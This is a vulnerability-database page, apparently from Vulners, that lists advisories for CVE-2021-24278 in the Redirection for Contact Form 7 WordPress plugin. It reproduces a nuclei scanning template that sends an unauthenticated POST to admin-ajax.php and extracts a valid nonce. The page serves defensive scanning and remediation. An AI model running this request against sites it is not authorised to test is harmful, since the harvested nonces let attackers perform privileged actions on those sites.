Lucene search
+L

WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation

🗓️ 09 Aug 2026 02:40:59Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 84 Views

WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation. Unauthenticated users retrieve valid nonce for any WordPress function

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24278
14 May 202112:15
attackerkb
cnnvd
CNNVD
WordPress plugin 安全漏洞
14 May 202100:00
cnnvd
cnvd
CNVD
WordPress Redirection for Contact Form 7 Plugin Improper Access Control Vulnerability (CNVD-2021-36045)
17 May 202100:00
cnvd
cve
CVE
CVE-2021-24278
14 May 202111:38
cve
cvelist
Cvelist
CVE-2021-24278 Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
14 May 202111:38
cvelist
nvd
NVD
CVE-2021-24278
14 May 202112:15
nvd
openvas
OpenVAS
WordPress Redirection for Contact Form 7 Plugin < 2.3.4 Multiple Vulnerabilities
4 Jun 202100:00
openvas
osv
OSV
CVE-2021-24278
14 May 202112:15
osv
prion
Prion
Design/Logic Flaw
14 May 202112:15
prion
redhatcve
RedhatCVE
CVE-2021-24278
22 May 202518:23
redhatcve
Rows per page
id: CVE-2021-24278

info:
  name: WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  impact: |
    Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access.
  remediation: |
    Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24278
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
    cwe-id: CWE-863
    epss-score: 0.07359
    epss-percentile: 0.93808
    cpe: cpe:2.3:a:querysol:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: querysol
    product: redirection_for_contact_form_7
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,querysol,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - '"nonce":"[a-f0-9]+"'
        part: body
# digest: 4a0a00473045022045488ca5b1a4aba695135073ed471eb3ab9b89ed20a85ccae52692ae5eec6d050221009b72eb3739ca0c58587a77ffa82ec3fd14e8aac5896571b6a702cfd0ded6aeb6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.07359
84